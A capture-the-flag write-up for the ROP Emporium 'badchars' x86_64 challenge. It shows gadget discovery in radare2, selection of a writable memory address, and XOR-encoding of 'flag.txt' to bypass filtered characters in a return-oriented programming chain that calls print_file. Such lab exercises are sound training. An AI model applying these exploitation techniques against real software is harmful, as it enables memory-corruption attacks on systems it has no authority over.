ROP Emporium - 05 badchars x86_64

ELF Binary Info

$ rabin2 -I ./badchars

arch     x86
baddr    0x400000
binsz    6523
bintype  elf
bits     64
canary   false
class    ELF64
compiler GCC: (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0
crypto   false
endian   little
havecode true
intrp    /lib64/ld-linux-x86-64.so.2
laddr    0x0
lang     c
linenum  true
lsyms    true
machine  AMD x86-64 architecture
maxopsz  16
minopsz  1
nx       true
os       linux
pcalign  0
pic      false
relocs   true
relro    partial
rpath    .
sanitiz  false
static   false
stripped false
subsys   linux
va       true
  • canary false
  • nx true (i.e. DEP enabled)
  • pic false (i.e. not PIE)

Find readable and writeable area of memory

  • 1st terminal, run ELF binary and keep it open
  • 2nd terminal, search proc maps of running process for readable and writeable memory:

$ cat /proc/$(pgrep -f ./badchars)/maps | grep rw

00601000-00602000 rw-p 00001000 fe:01 656477                             /<badchars_filepath>
[...]
  • Step through binary in GDB and search for free memory between 00601000-00602000 to place "flag.txt" string
  • Ensure there are null bytes after chosen memory address so that null terminator does not need to be added manually

$ gdb -q ./badchars
(gdb) start
(gdb) disass pwnme

Dump of assembler code for function pwnme:
[...]
   0x00007f97526e5987 <+141>:	call   0x7f97526e57c0 <read@plt>
   0x00007f97526e598c <+146>:	mov    QWORD PTR [rbp-0x40],rax
   0x00007f97526e5990 <+150>:	mov    QWORD PTR [rbp-0x38],0x0
[...]
End of assembler dump.
  • Set breakpoint after read() instruction

(gdb) b *pwnme+146
(gdb) c

Continuing.
badchars by ROP Emporium
x86_64

Go ahead and give me the input already!

> AAAAAAAA

(gdb) x/512gx 0x601000

[...]
0x6019f0:	0x0000000000000000	0x0000000000000000
0x601a00:	0x0000000000000000	0x0000000000000000
0x601a10:	0x0000000000000000	0x0000000000000000
[...]
  • Memory address 0x601a00 looks like it matches criteria

Get ROP Gadgets

$ r2 -A ./badchars

  • Search for gadget that writes to memory

[0x00400520]> /R mov qword

[...]
  0x00400634           4d896500  mov qword [r13], r12
  0x00400638                 c3  ret
[...]
  • Search for gadget that pops r12 and pops r13

[0x00400520]> /R pop r12

  0x0040069c               415c  pop r12
  0x0040069e               415d  pop r13
  0x004006a0               415e  pop r14
  0x004006a2               415f  pop r15
  0x004006a4                 c3  ret
[...]
  • Search for gadget that pops rdi

[0x00400520]> /R pop rdi

  0x004006a3                 5f  pop rdi
  0x004006a4                 c3  ret
  • Luckily there's a function that prints from file

[0x00400520]> pdf @ sym.usefulFunction

╭ 17: sym.usefulFunction ();
│           0x00400617      55             push rbp
│           0x00400618      4889e5         mov rbp, rsp
│           0x0040061b      bfc4064000     mov edi, str.nonexistent    ; 0x4006c4 ; "nonexistent"
│           0x00400620      e8ebfeffff     call sym.imp.print_file
│           0x00400625      90             nop
│           0x00400626      5d             pop rbp
╰           0x00400627      c3             ret
  • With above gadgets, string can be written to memory, popped into rdi and print_file function called (similar to previous level)
  • However, this challenge prevents use of characters 'x', 'g', 'a', '.', so search for gadgets that can work around this restriction:

[0x00400520]> /R xor byte

[...]
  0x00400628             453037  xor byte [r15], r14b
  0x0040062b                 c3  ret
[...]
  • Able to xor a value in memory one byte at a time, so first xor "flag.txt" with another value e.g. "^":

"flag.txt" ^ "^^^^^^^^" == "82?9p*&*"

  • Therefore "82?9p*&*" will be initially inserted into memory at address 0x601a00
  • After xor'ing each char with "^", result will be "flag.txt" again

Get Flag

$ python get_flag.py

badchars by ROP Emporium
x86_64

badchars are: 'x', 'g', 'a', '.'
> Thank you!
ROPE{a_placeholder_32byte_flag!}